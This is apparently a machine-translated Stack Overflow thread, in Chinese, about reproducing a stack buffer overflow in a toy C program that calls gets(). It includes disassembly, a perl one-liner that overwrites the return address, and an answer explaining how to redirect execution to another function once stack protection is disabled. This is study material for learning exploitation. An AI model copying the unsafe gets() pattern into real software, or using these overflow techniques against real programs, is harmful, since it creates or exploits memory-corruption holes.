簡體   English   中英

無法復制堆棧緩沖區溢出漏洞

[英]Trouble replicating a stack buffer overflow exploit

我在這里復制OWASP給出的堆棧緩沖區溢出示例時遇到問題。

這是我的嘗試:

$ cat test.c
  #include <stdio.h>
  #include <string.h>

  void doit(void)
  {
          char buf[8];

          gets(buf);
          printf("%s\n", buf);
  }

  int main(void)
  {
          printf("So... The End...\n");
          doit();
          printf("or... maybe not?\n");

          return 0;
  }



$ gcc test.c -o test -fno-stack-protection -ggdb

$ objdump -d test # omitted irrelevant parts i think
000000000040054c <doit>:
  40054c:       55                      push   %rbp
  40054d:       48 89 e5                mov    %rsp,%rbp
  400550:       48 83 ec 10             sub    $0x10,%rsp
  400554:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  400558:       48 89 c7                mov    %rax,%rdi
  40055b:       e8 d0 fe ff ff          callq  400430 <gets@plt>
  400560:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  400564:       48 89 c7                mov    %rax,%rdi
  400567:       e8 a4 fe ff ff          callq  400410 <puts@plt>
  40056c:       c9                      leaveq
  40056d:       c3                      retq

000000000040056e <main>:
  40056e:       55                      push   %rbp
  40056f:       48 89 e5                mov    %rsp,%rbp
  400572:       bf 4c 06 40 00          mov    $0x40064c,%edi
  400577:       e8 94 fe ff ff          callq  400410 <puts@plt>
  40057c:       e8 cb ff ff ff          callq  40054c <doit>
  400581:       bf 5d 06 40 00          mov    $0x40065d,%edi
  400586:       e8 85 fe ff ff          callq  400410 <puts@plt>
  40058b:       b8 00 00 00 00          mov    $0x0,%eax
  400590:       5d                      pop    %rbp
  400591:       c3                      retq # this is where i took my overflow value from
  400592:       90                      nop
  400593:       90                      nop
  400594:       90                      nop
  400595:       90                      nop
  400596:       90                      nop
  400597:       90                      nop
  400598:       90                      nop
  400599:       90                      nop
  40059a:       90                      nop
  40059b:       90                      nop
  40059c:       90                      nop
  40059d:       90                      nop
  40059e:       90                      nop
  40059f:       90                      nop

$ perl -e 'print "A"x12 ."\x91\x05\x40"' | ./test
So... The End...
AAAAAAAAAAAA▒@
or... maybe not? # this shouldn't be outputted

為什么這不起作用? 我假設應該插入的內存地址是<main>retq

我的目標是弄清楚如何執行程序在其他地方調用函數的堆棧緩沖區溢出。 任何幫助深表感謝。 :)

我正在使用Windows和MSVC,但您應該明白這一點。

考慮以下代碼:

#include <stdio.h>

void someFunc()
{
    puts("wow, we should never get here :|");
}

// MSVC inlines this otherwise
void __declspec(noinline) doit(void)
{
    char buf[8];

    gets(buf);
    printf("%s\n", buf);
}

int main(void)
{
    printf("So... The End...\n");
    doit();
    printf("or... maybe not?\n");

    return 0;
}

(注意:我必須使用/OPT:NOREF進行編譯,以強制MSVC不要刪除“未使用的”代碼,並強制使用/GS-關閉堆棧檢查)

現在,讓我們在我最喜歡的反匯編程序中打開它: 在此處輸入圖片說明

我們想利用gets漏洞,使執行跳至someFunc 我們可以看到它的地址是001D1000 ,因此,如果我們可以在緩沖區后寫入足夠的字節以覆蓋返回地址,那將會很好。 讓我們看一下調用gets時的堆棧:

在此處輸入圖片說明

如我們所見,堆棧分配緩沖區( buf )有8個字節,一些東西(實際上是PUSH ed EBP)有4個字節,還有返回地址。 因此,我們需要寫入12個字節的內容,然后寫入4個字節的返回地址( 001D1000 )以“劫持”執行流程。 讓我們開始吧-我們將使用十六進制編輯器准備一個包含所需字節的輸入文件:

在此處輸入圖片說明

確實,當我們使用該輸入運行程序時,我們得到了:

在此處輸入圖片說明

打印該行后,由於堆棧上有一些垃圾,它將因訪問沖突而崩潰。 但是,沒有什么可以阻止您仔細分析代碼並准備輸入內容中的字節,以使程序看起來可以正常運行(我們可以使用ExitProcess的地址覆蓋下一個字節,以便someFunc跳到那里)。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM